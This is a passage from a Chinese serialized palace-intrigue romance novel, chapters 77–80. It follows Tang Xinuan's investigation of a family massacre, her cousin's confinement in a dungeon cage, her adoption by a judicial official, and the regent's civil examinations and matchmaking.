摄政王什么人？ 前阵子才斩杀两百余名官员，包括一品左丞相下到江南九品芝麻小官。 他不过七品，怎么敢得罪摄政王的人。 慌忙跪地求饶，“是卑职有眼无珠，卑职冒昧，还求几位爷饶过卑职。” 唐兮暖倒也不是想为难他，只是如此无能的官尸位素餐，又要惹二郎操心了。 “这么多人被害，你有头绪？” 赵知县都快吓死了，他哪有头绪，本来就糊涂，又被陶罐踹一脚，虽然踹的是屁股，可比踹脑袋还严重。 “大人饶命，大人饶命，卑职……卑职……” 他本人确实没有头绪，不过他衙门有个人才，平时一直被他打压，关键时刻竟然派上了用场。 他慌慌张张爬起来，将正在检查死者的武州平拉过来，“他有头绪，他有头绪，他有头绪，这事交给他，保证能查出凶手。” 按理这种场面，陶罐作为摄政王的住手，应该主动站出来主持大局。 不过摄政王有交代，遇到事情尽量交给唐姑娘处理，她处理不好他再出面。 他明白，这是王爷有意让唐姑娘刷经验，帮助她成长。 所以他一直站在旁边，静观其变。 唐兮暖没那么多心思，她只想拿到王太师的证据。 刘承满门不一定是王太师所杀，可这里出现大内侍卫，跟皇后脱不了关系。 如果真有人能查到凶手，可等于帮了她大忙。 思及此，她看向被赵知县揪过来的武州平。 也不知道喝了多少酒，隔着两三步的距离都被他身上刺鼻的酒气熏到想吐。 唐兮暖不由得拧起鼻子，满脸嫌弃，“他？能查案？” 唐兮暖年纪小，又是女扮男装，细皮嫩肉，唇红齿白，一看就是大户人家五体不分的贵公子。 她嫌弃人家，人家也在嫌弃她。 武州平还有些迷瞪，借着酒气瞥向她，“毛都没长全，怀疑我？” 唐兮暖确实怀疑。 她见过花子一样的孙卿兆，也见过不被亲爹待见的姚麟，长得有几分像她哥哥的陈煜，郁闷不得志的军器局大使，他们各个有才，但绝不是此人这般，浑身都臭烘烘的，酒气熏人。 “你是谁？有什么能耐？上值还喝这么多酒，大周律例有此一条？” 官员上值自然是不能喝酒的。 可武州平严格说来不算官员。 赵知县眼看着他和上差顶嘴，低声训斥道：“你清醒一点，这是京城来的大人，不要命了。” 随后舔着脸陪着笑跟唐兮暖几人解释。 “上差大人，您别看他醉醺醺的，可是个有才的人物。” “哦，”唐兮暖好奇道，“你说说，他都怎么有才了？” 赵知县讲起武州平的平生滔滔不绝。 “他可是十年前最后一次科举的进士，别人当官都往高了升，他是越做越小。” 唐兮暖的兴趣被勾起来了，“还有这种事？” 赵知县平时对武州平极近打压，可今天不想得罪上差，只能拼了命抬举武州平，好让他站在前边顶雷。 “卑职可不敢骗您。” 第77章 武州平中进士后先封正六品翰林院侍读,因为得罪上司，没几个月降为从六品修撰，后又降为从七品检讨。 再后来被踢出翰林院,做了九品州学助教。 谁也不知道他犯了什么错，助教做了不到一年忽然离开州学。 之后一直混迹在青楼楚馆。 三年前，意外遇到赵知县,帮赵知县解决了一个大麻烦，便留在赵知县身边给他做师爷。 堂堂进士能混到做师爷的份上，他可是头一个。 唐兮暖听完赵知县介绍，觉得有趣，“那就把这事交给他，我倒看他有什么能耐。” 虽然武州平的生平很有趣，可他最高才做到六品。 唐兮暖一心要为二郎寻找人才，也不是什么人都往他面前带。 “交不了一点，”武州平对这个年轻的公子没有一点敬畏心里，毛都没长全还敢指挥他工作,心里都是对怀才不遇的不忿。 醉醺醺地当场拒绝。 唐兮暖皱了皱眉：“为什么交不了？哦，我知道你根本没有才学,根本查不出来,沽名钓誉也就骗骗赵知县罢了。” 赵知县怀疑他在作死，悄声提醒,“你不想活可别连累我。” 武州平被人怀疑，不忿道：“谁说我查不出来,我现在就可以告诉你凶手是谁。” 唐兮暖还真不信他有这么大能耐，怀疑他在胡说八道。 “那你说，凶手是谁？” 武州平半眯着眼睛，不屑道：“还能是谁,肯定是京城哪位贵人。” 能派那么多杀手把一位卸甲归田的朝廷大员灭门的凶手，肯定非富即贵。 而京城贵人多，笃定凶手出自京城的概率肯定比别的地方大。 有这种想法也算不得什么。 “就这？” 唐兮暖非常不屑。 武州平生气了，他竟然被人质疑，“不是哪位王爷就是中宫皇后。” 唐兮暖早怀疑皇后，武州平的想法倒是和她不谋而合。 光凭猜测？ “为什么这么说？” 武州平分析道：“刘大人一家三十一口，几乎全部一刀毙命，凶手行动有素，动作干脆利索，又凶残狠辣，很明显，他们是一群有组织有纪律，经常干脏事的刽子手。 而刘大人辞官五年，为什么现在才被灭门，京城里肯定发生了什么事。 最近动静最大的也就太师府了。 太师幽禁，皇后肯定不甘，自然要为太师清理所有他做过的腌臜事。” 陶罐在现场发现大内侍卫的腰牌，断定此事为皇后所为。 如今听武州平分析，有理有据，大感意外。 楚衍诺根本不用看证据，表妹调查唐家谋反按，皇后不可能没有动作。 所以他很自然的认为武州平分析的有道理。 只有唐兮暖觉察到不对。 “武师爷，你这分析的也太牵强了，京城那么多贵人，怎么就是皇后做的，一点道理都没有。 说实话，你到底凭什么得出的结论？” 武州平还以为如此年轻的公子很好糊弄，没想到被人一语道破。 他蹭了蹭鼻子，坦白道：“卑职看到刘大人留下的线索。” “线索？” 陶罐和楚衍诺皆是一惊。 他们竟然被武州平糊弄了。 唐兮暖追问道：“线索在哪？” 武州平带着唐兮暖走到他发现线索的地方，“看这里，刘大人临死之际死死抓着一把糖，他一个卸甲归田的官员，一直小心谨慎的活着，忽然被杀，不可能是最近得罪的人。 我记得明哲三年，刘承作为刑部尚书参与审判了一起谋反案。 当时很多人都认为其中有冤情，可唐家还是被满门抄斩了。 今天刘承临死之际，什么都不抓，却只抓了一把糖，难道不是指当年的唐家满门抄斩案？ 太师被幽禁，有能力灭掉刘承一家三十一口的，也就是当今皇后了。” 武州平分析的还算有道理。 唐兮暖问道：“怎么才能拿到凶手行凶的证据？” 武州平略一思索，把唐兮暖从上到下打量一遍，“你们今天为什么来找刘大人？” 唐兮暖不擅长撒谎，看向陶罐。 陶罐不悦道：“寒公子问你什么就说什么。” 武州平不喜欢陶罐，他转到唐兮暖另外一侧，继续打量唐兮暖，“你们不会是唐家后人吧。” 这话吓了唐兮暖一跳。 她给连翘一个眼神，“把人带回去。” 陶罐正有此意。 赵知县是个糊涂蛋，唐兮暖几人分析案情的时候，他躲远远的翻翻找找，仿佛很忙的样子，就怕被人盯上。 陶罐不耐烦的瞥向他：“赵知县派人保护好现场，京城自会派人调查。” 之后一行t人带上武州平回京。 唐兮暖分辨不出武州平有没有大才，不过有点小聪明她是确定的。 所以她要把人交给二郎，有没有用，需要他自己判断。 楚衍诺寸步不离跟着唐兮暖。 百合把人挡住：“楚世子很闲吗？” 楚衍诺做出身受重伤疼痛难忍状，“表弟，我……” 当着外人的面，害怕表妹身份泄露，他干脆改了口。 唐兮暖淡淡瞥向他，示意百合，“让表哥跟着我们回去吧。” 唐兮暖几人坐马车，陶罐和楚衍诺骑马，一路快马加鞭，很快赶回王府。 唐兮暖命陶罐把武州平交给王爷。 同时嘱咐道：“我带表哥回王府的事，不要告诉二郎。” 陶罐满脸绝望。 虽然唐兮暖以前也有带外男回来的情况，可他们显然没有男女之情。 楚世子不一样，万一唐姑娘和表哥旧情复燃，王爷不是要被绿。 可唐兮暖吩咐，他也不能拒绝。 “手下谨遵公子吩咐。” 连翘几个人都不知道唐兮暖的目的，皆是不解的看着她，“王爷知道怕是要发火。” 这里最高兴的就属楚衍诺了。 果然表妹对他还是有情的。 虽然不愿意离开摄政王，可把他偷偷带回王府，并命令其她人保密，这不是要金屋藏娇？ 楚衍诺的好心情只维持一会儿。 “表哥，姚太傅就在地牢，我带你去看看。” 楚衍诺欣然前往。 进了地牢，唐兮暖一摆手，紫苏立刻按动机关，转眼就把楚衍诺控制在一个大铁笼子里。 “表妹，表妹，你干什么，快点放了我！” 此刻的楚衍诺仿佛一个被囚禁的动物。 他死死抓着铁柱子，声嘶力竭冲唐兮暖呼喊，“表妹，我可是你表哥，快点放我出去。” 唐兮暖早想把表哥关起来了。 就像二郎关魏敏昭一般，将笼子四周全部用黑布蒙上，一丝光亮都不给他透进去。 可姑母就这一个儿子，她到底心软，只把他关起来，并没有虐待。 “表哥，”唐兮暖严肃着一张小脸，静静的看着他，“这些年，我全心全意依靠着你，可你不许大家教我生活常识，谋生手段，各种人情世故，我像个傻子一样长大。 你还不许我出府，不许我见外人，这些年我一个朋友都没有。 我是你养的宠物吗？ 不，我连宠物都不如。 今天也让你尝尝被人囚禁的滋味。” 唐兮暖平静无波的说完这段话，毫不犹豫离开地牢。 姚太傅和他所关的笼子不在一个区，两人并没有见面。 唐兮暖今天见了太多死人，联想到当年自家比这还惨。 刘承怎么也做了坏事，算是咎由自取。 可唐家一心为国，凭什么会落得满门覆灭的下场。 回到卧室，唐兮暖换了衣服，怏怏不乐地躺在床上。 小倩心疼她，“小姐，别难过，早晚会查清楚真相的。” 唐兮暖幽幽叹了口气，“我想哥哥了，如果他在，肯定比我做的好。” 小倩安抚道：“公子比您大呢。” 傍晚周川行回来，询问今天所发生的事。 陶罐将桃花坡刘承被灭门的事情汇报清楚。 他已经联系了大理寺，李策亲自带人去了现场。 周川行关心小姑娘，又问：“唐姑娘还好吧？” 陶罐迟疑道：“还好，还为您带回一个男人，叫武州平，他猜到唐姑娘是唐家后人，唐姑娘便命我等把人带回来了。” 武州平的事好提，楚衍诺的事不好出口啊。 陶罐心里充满纠结，到底要不要汇报楚世子进府的事。 算不得什么大事，周川行了解陶罐。 注意到他眼神不停地躲闪，分明在心虚。 “还有什么事瞒着我？” “没，没，没有了。”陶罐都开始磕巴了。 周川行皱眉：“到底什么事，快说。” 陶罐开始提条件，“王爷，我要说出来，唐姑娘肯定生气，到时候您还要帮我遮掩一下。” 周川行无语道：“你们一个个的，越来越不把本王放在心里了，不光你瞒着我，连紫苏他们几个都不跟我汇报工作了。” 陶罐小心提道：“唐姑娘……把楚世子带回来了。” 周川行心口一紧，下意识就往后宅走，“你干什么吃的，我让你保护她的安全，可不是让你陪着胡闹的。” 陶罐紧走几步追上去，把后半句补充完，“关进地牢了。” 周川行脚步一顿，“楚世子在地牢？” 陶罐点头：“楚世子像个狗皮膏药，一直跟着唐姑娘，唐姑娘嫌烦就把人带回来关地牢了。” 周川行终于松了口气。 还以为小姑娘把人带回来藏后宅了。 关地牢好，关地牢好，最好关一辈子。 接下来，周川行见了武州平。 浅聊几句发现他这人的才学并不在查案审判上，倒是对税收民生颇为了解。 而且他这人很有几分机敏，思维活跃，能根据眼前形式做出有利于想要结果的判断和选择。 正好到了税收季节，朝廷需要这样的人才。 周川行打算留在身边好好考察一下，确实可用过段时间委以重任。 他只是好奇，“你跟本王说说，到底是怎么判断出寒公子是唐家后人的？” 第78章 武州平面对王爷还是有几分恭谨的。 “卑职说实话,卑职认出楚世子，知道他和唐家的关系，又联想到刘承做过刑部尚书参与审判过唐家谋反案。 就算寒公子不是唐家后人,那楚世子也算得半个唐家后人。 卑职故弄玄虚，只想卖个好身价而已，还真被卑职赌对了。” 倒是坦诚,“以后留在本王身边做个起草吧，”周川行摆摆手，“下去吧。” 刘承一家惨遭灭门后，唐兮暖只能再找其它线索。 可惜时间久远，就算有活着的知情人，大都不在京城。 何况证据了。 实在找不到证据，唐兮暖决定找大理寺卿李策询问一下刘承那边有没有线索。 其实李策早把证据找齐了，只是没遇到合适的时机拿出来而已。 唐兮暖只见过李策一面，自然无从得知她苦心孤诣想要的东西，有人已经给她准备好。 今天吃过早饭,她换好男装准备出门。 却被楚衍晴拦在后宅。 “民女给端王妃请安。” 唐兮暖如今懂了不少礼数。 表妹年纪比她小，可身份尊贵,是端王妃。 按理,她应该行礼。 楚衍晴被她一本正经的样子给逗笑了，“表姐,你跟我见外了是不是？” 唐兮暖噗嗤一笑，“我在学习。” 楚衍晴成亲还不到十天,看起来和以前没什么区别。 表姐妹两个上次见面还是楚衍晴大婚当日。 唐兮暖趴在新房门口像个好奇宝宝，被周川行强硬拉走。 她离开端王府还有些遗憾，没看见新郎和新娘亲亲呢。 “表姐，这是要出门？”楚衍晴注意到表妹男装打扮。 唐兮暖凑近她,压低声音道：“我要去大理寺，寻找当年害死我父母的凶手。” 楚衍晴一惊：“你都知道了？” 唐兮暖如实说道：“表哥已经告诉我了。” 楚衍晴忽然想起自己过来的目的，“对了，我哥在哪？刚才嫂子过去找我，说是表哥不见好几天了，有人看见他最后出现在王府附近，表姐，你有没有见过他？” 楚衍诺已经被关进王府大牢三天。 唐兮暖怎么可能不知道，还是她亲手关进去的。 可她没想现在就把人放出来。 自然不打算说实话。 “表妹，我怎么知道表哥人在哪里，可能……又去谁家提亲了吧。” 唐兮暖没撒过谎，此刻她神情躲闪，言语也不自然。 楚衍晴一眼看出来，表姐有事瞒着她。 “表姐，那表哥应该安全吧？” 这点唐兮暖能肯定，“他那么大的人了，又会武功，怎么可能不安全，对了，表妹你婚后生活怎么样，最近也没见到端王，你们两个……” 她对对手指，“什么时候要小宝宝？” 楚衍晴神色有些不自然。 她和端王根本没圆房，哪来的小宝宝。 当初说好两人是协议成亲。 端王帮她躲掉国公府的亲事。 而她只需要做好王妃，管好王府中馈，但是不管他纳妾。 新婚夜掀盖头喝合卺酒的时候两人之间的气氛还算融洽。 可她主动提起纳侧妃，他竟然生气了。 端王和睿王同一天婚礼，睿王一正妃两侧妃同时进府，羡慕坏不少王孙公子。 楚衍晴自认还算大方，打算在世家贵女中挑两名人品容貌都不错的给他做侧妃。 端王也不知道中了什么邪，忽然大发雷霆，连婚房都t没住就走了。 之后端王忙着一直没露面。 三天归宁的时候，端王倒是冒出来了，两人一起回了侯府，相处还算和谐。 之后人又消失了。 一直到现在，她还没见过端王人影。 这些小事，楚衍晴自然不会跟表姐说。 只道：“缘分来了，你就做姨母了。” 唐兮暖喜欢小宝宝，相信自己能做一个很优秀的母亲。 等她报完父母大仇，她就和二郎要个宝宝，到时候就有个和她容貌有几分相似的小宝宝喊她娘亲了。 姐妹两个正聊着，周川行来了。 小姑娘独自调查当年旧案这么多日子都没收获，他今天特意空出时间打算和她一起去大理寺。 看见楚衍晴有些意外，“端王府都是些牛鬼蛇神，有什么处理不了的，找川谨，他不给做主过来找我。” 楚衍晴感谢过周川行，知道他和表姐有话说，打算尽快离开。 周川行忽然喊住了她：“三弟妹有没有想法做官？” 楚衍晴脚步一顿，满脸不敢置信的看向周川行。 “女子也能为官？” 周川行坦言道：“暖暖都能做夫子，但凡来京城参加科举的，谁不恭恭敬敬称呼她一声先生，女子为什么不能为官？” 楚衍晴喜出望外，“表姐，你觉得我能做女官吗？” 唐兮暖毫不犹豫道：“为什么不能，表妹的才华不比那些男人差，真做了官，肯定比他们做的还好。” 楚衍晴从来没想过这事。 有种天旋地转的晕眩感。 “王爷，我能行吗？” 她还是没有底气。 周川行鼓励道：“前段时间整理科考内容做的不是很好吗，我看人从来不会错，正好户部缺个六品员外郎，你有想法，明天就去户部报道吧，负责核算各州府税银、粮米征收。” 户部员外郎是正六品。 多少人寒窗苦读几十载都不一定能入朝为官。 她一名女子，王爷竟然直接封她为六品官。 就凭王爷对她这番知遇之恩，她也得竭尽全力，为天下女子做出表率。 “臣女感谢王爷委以重任，必定竭尽全力将差事办好，绝不辜负王爷重托。” 楚衍晴走后，唐兮暖盯着周川行含意颇深的眨眨眼，“表妹当官了。” 周川行把人拥进怀里，和她额头相抵。 两人神情间俱是浓烈的亲昵，“怎么，你也想做官？” 唐兮暖没想过这个问题，不过有机会，谁不想加官进爵。 “你觉得我能做官吗？” 周川行毫不犹豫的点头，“我们家姑娘当然能了。” 唐兮暖好奇道：“那你觉得我能做什么官？” 周川行早有打算，“等唐家平反，我把太学交给你。我们家姑娘怎么也得封侯拜相。” 前一句还有可能，后一句就是哄人的。 唐兮暖毫不犹豫揭穿，“你都打算罢相了，还会再封丞相？” 小姑娘处理人情世故越来越娴熟自如，周川行心生柔软，忍不住捏了捏她小鼻子，“这都骗不了你，能耐了。” 两人玩闹一阵启程去了大理寺。 李策刚把刘家灭门案整理清楚。 一切证据都指向后宫，他只是一个三品大理寺卿，哪有权利去后宫查案。 这事周川行也为难。 就算查到皇后身上，也会找人顶罪。 如今皇上重病，他身为臣弟去查皇嫂，知道的是他秉公办事，别有用心的人肯定会指责他狼子野心欺负皇后母女。 “密查吧。” 李策明白周川行的难处，“微臣定会秉公办理。” 唐兮暖不关心刘承的案子，待李策汇报完工作，问道：“李大人，当年唐御史一家被判通敌谋反，您那时已经进了大理寺，可知晓当时都发生了什么？” 李策刚才观察过唐兮暖和周川行的相处模式，确定周川行是知道唐兮暖身份的。 既然唐家后人出面，他自当奉上证据。 “王爷，微臣斗胆问一句，寒公子是不是唐御史的女儿？” 唐兮暖惊讶：“你也认出我是女儿身？” 李策一向铁面无私的人，看着唐兮暖神色却不由得变得温和。 “你和唐夫人至少有五分像，上次你来我就看出来了。” 唐兮暖仿佛见到了亲人，“你还认识我娘？” 李策感叹道：“说起来，我和你父亲还是莫逆之交，当年你还住在江南，我没少去唐家蹭饭，你母亲有一手好厨艺，你父亲每次都跟我显摆。 就是你，我也见过几次。 不过我在江南待的时间短，回到京城便再也没见过。” 唐兮暖已经不记得小时候的事了，“可是我……怎么一点印象都没有？” 李策回忆起唐兮暖小时候可爱聪慧的模样，莫名酸了鼻子。 “你那个时候还小，我记得有一次，你拎着葡萄撞到我腿上，你娘在后边一边追一边喊，让你慢点。” 唐兮暖脑海里浮现出一幅不太真切的画面。 李策和父亲年纪相仿。 如今的李策是大理寺卿，正三品大员。 他父亲如果没有被诬陷，如今也该是朝廷大员了。 “李叔叔。” 李策侧身按了按眼窝，又道：“你祖父是有名的算学大师，我曾多次得先生指导……” 他转身和周川行说，“老先生博学多才，还是个很有趣的人。 我记得他有一块砚台，宝贝的和什么似的，不只一次跟我展示，舍不得给孙子，将来孙女有了如意郎君，他就把砚台送给孙女婿。 我当时还和老先生开玩笑，将来犬子如有出息，老先生可别吝啬将砚台送给犬子……” 多年后，他不只一次后悔，当年没把婚事定下来。 李策第一次在周川行面前打开话匣子。 话都快说完了才意识到，他僭越了。 周川行和唐兮暖早已私定终身，他拿出这些老黄历，不是要和摄政王抢姑娘！ “王爷恕罪，微臣老糊涂了，竟然拿这些笑话污染王爷的耳朵。” 周川行没那么小气，“李大人严重了，唐姑娘喜欢，李大人不妨多讲些。” 几个人又聊一会儿，李策主动回到正题。 他将一份早准备好的档案递给唐兮暖。 “唐姑娘，你父亲蒙冤被害，我当时没有能力救他，这是这些年我明察暗访找到的证据，足以证明唐御史清白。” 唐兮暖寻找这么多天，一无所获，她没想到，原来证据一直在等她。 蒙冤十四年，即将真相大白，唐兮暖控制不住两手发抖，颤颤巍巍接过档案。 待她翻看完毕，忽然跪在李策面前。 “晚辈感谢李叔叔大恩，父母在天有灵也会感谢大人。”—— 作者有话说：周川行：好险，我家姑娘差点定亲！！！ 第79章 “晚辈感谢李叔叔大恩,父母在天有灵也会感谢大人。” 唐兮暖忽然跪在李策面前。 父母蒙冤被害，她以为这个世上已经没人记得他们。 可李策不光记得他们，还默默找到证明他们清白的证据,只待唐家后人来寻。 这份恩情，唐兮暖怎么可能不感激。 她伏地磕头，泣不成声。 李策急忙把人扶起,“这可使不得，凭我和你父亲的交情，做这些是应该的。 再者我还是大理寺卿，公平公正的对待每一起案子，是我的职责。” 唐兮暖明白，在他任期内的案子，他有责任，可自家当年获罪，他还不是大理寺卿。 “李叔叔，日后如有需要,暖暖必当万死以报。” “你这姑娘，说什么傻话,”李策扶着她坐下,“当年，我看你聪慧心生喜爱,做梦都想有这样一个女儿，可惜你婶婶不争气,生了三个儿子。 如果可能，你喊我一声义父，我比什么都高兴。” 唐兮暖一个罪臣之女，哪敢高攀大理寺卿。 她先看了一眼二郎,见二郎冲她点头。 她重新俯身行礼，“义父大人在上，请受暖暖一拜。” 这个大礼，李策高高兴兴接了。 “好孩子，从今天开始，我就是你义父，你就是我李策的义女了。” 忽然收了这么可爱一个女儿，李策比升官都高兴，“谁说我李策没有女儿命，这不就来了。 一会儿办完差事，暖暖跟我回去，让你义母也高兴高兴，她比我还希望有个女儿。” 周川行下意识阻拦，“李大人，你这就有点过分了。” 才认养女就要把人带走。 关键他刚才听李策的意思，早年两家有意结亲。 李策三个儿子可都是光棍。 必须把这种心思摁进萌芽里。 李策笑了：“王爷有时间，不妨去寒舍喝杯茶，正好今年新下来的龙井，味道还不错。” 周川行能抽出时间来大理寺已经很不容易，哪有时间喝茶。 “改天吧，改天我一定带暖暖t上门认亲。” 聊完认亲，话题又回到案情上。 如今有了证据，唐兮暖出面请求大理寺重审当年谋反案，有摄政王做主，唐家很快就能平反昭雪。 李策却还有疑虑。 “要定王太师罪容易，可想杀他，只怕很难。” 唐兮暖眼看着一家平反有望，听说不能让诛杀王太师，免不了心急。 “为什么？” 李策：“如果我没记错，王太师有先皇御赐免死金牌。” 唐兮暖想不明白，“先皇是明哲皇上还是只当了一天的……” 顾及二郎，她没好点出周川行的父皇。 周川行自然明白，“免死金牌是我父皇给的？” 李策点头，“当年各路藩王起兵，京城沦陷，先皇能在多方势力中脱颖而出，肯定不简单。 之后当今皇上继位，平稳度过十四年，这其中的隐情，王爷应该比我们更清楚。” 周川行当年才十岁。 叛军攻入城下，京城兵荒马乱，他光顾着逃命，哪里顾及朝堂中事。 而且他年纪小，这些事情也没人会说给他听。 李策又道：“微臣只记得，当年皇上继位，立刻封了王家女儿为皇后，不过皇后早薨，如今的皇后是王太师的三女儿。” 很可惜，不管先皇后还是当今皇后，都没有生出儿子。 否则王家的地位更加无法撼动。 周川行肯定会毫无原则地站在唐兮暖这边。 况且唐兮暖是原则一方。 “李大人，要不本王想办法偷出免死金牌，那时王太师没了护身符，只能老老实实领罪。” 李策捋着胡须，沉吟不语。 到目前为止，偷走免死金牌算是最好的办法。 毕竟当今皇上只是生病，并没有驾崩。 周川行身为摄政王也不可能只手遮天。 “微臣等王爷消息。” 太师府防护严密，免死金牌又是保命的东西，怎么可能让人轻易找到。 周川行叮嘱唐兮暖不要轻举妄动，以免打草惊蛇。 他则派人秘密潜进太师府，想办法把牌子偷出来。 正好到了学子们出场的日子。 周川行将全部心思和精力都放在选才上，实在无暇顾及小姑娘。 当然他还给小姑娘分派了任务。 算学科目的试题都是小姑娘出的，如今到了判卷环节，由她领头，评出优良中劣四等。 今年参加乡试的学子共有两千余人。 也就是说有两千分试卷需要批阅。 算学算是所有科目中最好批阅的，毕竟答案对不对，一眼就能分辨出来。 经义和策论才是最难批阅的。 不光对批阅官的学识能力有着极高的要求。 对其人品还是一场巨大的考验。 大周朝已经十余年没举办过科举，周川行对其中弊端早有心里准备。 临时增加算学，一个原因是朝廷确实缺乏算学人才。 另外一个很重的原因就是，防止考生和考官作弊。 毕竟算学科目，只要试卷没有泄露，想作弊都无从下手。 经过半个月昼夜不停的批阅，所有考卷基本批阅完成。 周川行命人做好统计。 四科全部评为劣等的，直接淘汰。 给与一定的路费补偿，让他们尽早回乡。 四科全部为优的，单独提出来，他要逐个问询。 相当于往常乡试后的殿试了。 至于其它考生，全部等待加试，算是往常的春闱。 这次科举不评名次，也就没有状元、榜眼、探花，只分一甲二甲三甲。 一甲取一百名，二甲取一百名，三甲取二百名。 朝廷急需人才，周川行求贤若渴。 左丞相被杀，王太师圈禁，右丞相主动辞官后，空了半个朝堂。 江南的官员还是从其它地方借调过去的。 再没有人补上，只怕政令都要没人执行了。 是以三甲全部留用。 再评出三百名乙等，朝廷按月发放补贴鼓励，希望他们回乡继续读书，争取下次科举高中。 而六百名外的学子，全部根据路途远近发放补贴，希望他们早日回家，或继续读书，或帮助家人耕种，或寻找别的出路。 自从左右丞相被处理后，国库充盈，朝廷已经不缺银子了。 虽然发到这些学子手里的银子不多，可朝廷已经尽力，这些学子感念周川行，回乡途中逢人便夸赞他的壮举。 这些年朝廷连年战乱，周川行一直在外领兵打仗，所有百姓都知道他在武功方面的功勋，通过这次科举，大家又发现他在文治上的天赋，无不感念。 阴云密布的天空，仿佛被人用力扯开一个大口子，马上就会有大片的阳光照耀下来。 遍布九州各地。 这次科举虽然没有排名，可周川行心里是有一本账的。 前三百名，他每一名都亲自垂询过。 时间有长有短，但每一个他都已经尽力。 有些学子一眼便能确定其才，他便不需浪费时间，直接给了评分。 有些学子不善言辞，需要他多费些心思，这样的学子，他便多耗些时间。 像李征彦、陈煜，见面都没说上五句话，他便确定重用让他们退出去了。 这些人还以为哪里做得不好得罪了摄政王，肯定落榜了。 没想到成绩出来，他们都是一甲。 “殿试”结束后，陈煜组织所有在家乡没拿到推荐文书又中进士的学子，去寺里给寒兮立长生牌。 李征彦是京城人士，而他是有推荐文书的，听说这些人想法竟也提出同行。 “李兄，你就不必了吧，我们这些人都是没拿到推荐文书的，是她带我们见摄政王，我们才有机会走进科场，才能入朝为官，他就是我们的再生父母。” 李征彦有自己的道理，“如果不是他，我的算学就拿到不优，又怎么评进一甲。” 李征彦这个解释合情合理，其他听过寒兮讲课的学子听说后都要跟着一起去。 很快便聚集了两百多人。 周川行得到消息，把李征彦叫到小勤政殿询问。 李征彦如实汇报清楚。 在周川行心里，李征彦就算不是状元也该是个榜眼探花。 深爱其才，但对他实在爱不起来。 因为他是大理寺卿李策的儿子。 如果唐家没出事，两个人大概早已成亲。 如此优秀的青年，小姑娘肯定会喜欢。 一想到这种可能，周川行心口就堵得慌。 这两天科举结束，李策邀请好几次，希望小姑娘去李家做客。 不过都被他找借口打发了。 不管怎么说，李策帮唐家找齐证据，都是唐家的恩人。 小姑娘不可能拒绝和李家来往。 这个面早晚是要见的。 两人聊完正事，周川行很意外的关心起李征彦的婚事。 如果他心有所属最好，如果没有…… 他可就要做红娘了。 李征彦这些年忙着读书，还没考虑亲事。 周川行不由得想到小妹。 他原本是看中魏敏昭的，可这人私心重又没有大局观，不堪重用。 大理寺卿官职虽然低了些，可李征彦聪慧，是个大有前途的青年。 暂时有些委屈小妹，但将来，小妹的日子一定比嫁进魏家幸福。 “征彦既然没订亲，那本王就替你父母多操一份心了。 你回去告诉李大人，明日我去李府向李大人讨教学问，让李大人多备些好茶。” 李征彦听父亲提过唐家的事，也知道父亲认了一位义女就是唐家姑娘。 父亲喜欢的很。 早些年，父亲经常提到唐家姑娘聪慧，一直遗憾没能带回李家抚养。 这次认了养女，特意让他娘收拾出一间卧室给唐姑娘做闺房。 只可惜，他还没见过。 “征彦会准备好，恭迎王驾。” 唐兮暖一直想去李家，前些日子忙着批阅分等级，她没空出时间。 这几天倒是闲了，可二郎总不发话。 她一个人冒然去李家，担心给李家添麻烦。 刘承刚被灭门，她可不想皇后将矛头对准李家。 今天听二郎亲口说明天去李家，她高兴极了。 “二郎，我去准备礼物。” 周川行急忙把人抓过来，严肃叮嘱：“李大人有三个儿子，两个都到了该议亲的年纪，你感激李大人，帮忙张罗亲事可以，绝对不能往自己身上考虑。” 唐兮暖眨了眨眼睛，忽然明白二郎为什么不愿意她去李家了。 “你是害怕我看上别的男人？” 周川行确实有这个担心。 李策为唐家寻找证据，这可是天大的恩情。 小姑娘对人情世故没有多少经验，万一不知道怎么感激想到以身相许可就麻烦了。 “当然了，我到现在都没名没分的，能不担心么。” 唐兮暖白嫩的手指戳了戳他胸口，“等这批学子都能帮你分担了，你就没那么忙了，那时我t们准备婚礼。 以前没人给我做主，如今我有义父义母，他们可以给我做主，我们再也不是私定终身了。” 第80章 翌日,周川行带唐兮暖去李府，特意叫上朝栎公主。 到李家后，第一件事便是支开李征彦。 “征彦啊,早前听说你这府里种了不少菊花，朝栎一直嫌宫里闷，你带她四处走走。” 李征彦不怎么想去。 父亲新认的义女上门,也就是他义妹，早想结识一下。 可摄政王吩咐，他也不好拒绝。 “朝栎公主，这边请。” 朝栎公主第一次来李家，第一件事当然是拜访主人。 可她二哥进门就把她支开什么意思。 难不成二哥和李策要说什么她不能听的事。 有些犹豫，不过她向来听话，还是跟着李征彦走了。 李策为官清正，刚直不阿。 李夫人温柔端庄，清丽素雅，却透着一股无法忽视的贵气。 和李策一样,特别喜欢唐兮暖。 一看见她便拉住她的手不肯松开。 “十几年前就听你义父说起，唐家有个姑娘漂亮聪慧。 这些年他可没少埋怨我,怎么就没生出这样一个可爱乖巧的女儿。 可怜我们两个没那命,家里只有三个臭小子。” 唐兮暖初学人情世故不久，虽然还不能像正常人那般交流沟通。 可别人喜不喜欢她,她还是能第一时间察觉到的。 李夫人是真心喜欢她的。 她从婢女手里拿过礼盒，双手送到李夫人面前。 “义母,这是女儿准备的礼物，感谢义父义母厚恩，暖暖没齿不忘。” 李夫人拉着她坐下，亲自打开礼物夸赞一顿,随后命婢女收进库房。 也将自己准备好的礼物送给她。 是一只水头极好的镯子。 “这个还是我当年出嫁，我母亲送我的，今天送你吧。” 唐兮暖哪好意思要，“义母，您还是留着送给儿媳妇吧。” 提到三个儿子，李夫人就发愁：“连个影都没有，哪来的儿媳妇。” 她亲自给唐兮暖戴上，“暖暖皮肤白，正衬这只镯子。” 越看越看，忍不住感叹，“当年唐家如果没出事，我们两家没准就成亲家了。” 唐兮暖悄悄瞥了一眼周川行，幸好他正在和李策说话，没留意她这边。 李夫人是过来人，怎么可能留意不到年轻人的心思。 “暖暖和王爷天造地设，等时机成熟了，义父义母帮你操办婚事。” “多谢义母，”唐兮暖真心实意感激道。 李夫人准备了一场简单的认亲宴。 在周川行的见证下，李策带领一家人和唐兮暖走完认亲仪式。 唐兮暖也和李家的三个儿子也改了称呼。 周川行时刻惦记小妹的婚事，暗中观察了一下小妹和李征彦的相处情况。 李征彦骨子里像极了李策，周正识大体，有眼光，容貌在同龄人中也算翘楚，关键有才华有能力。 他第一次见李征彦便觉得这个年轻人大有前途。 碍着唐李两家莫须有的亲事才心生嫌弃。 如今他打算撮合对方和小妹，自然是越看越爱。 待李家和唐兮暖走完认亲仪式，他干脆大大方方提出来。 “都说好事成双，干脆由本王做主，定下李大公子和朝栎的婚事，李大人觉得呢？” 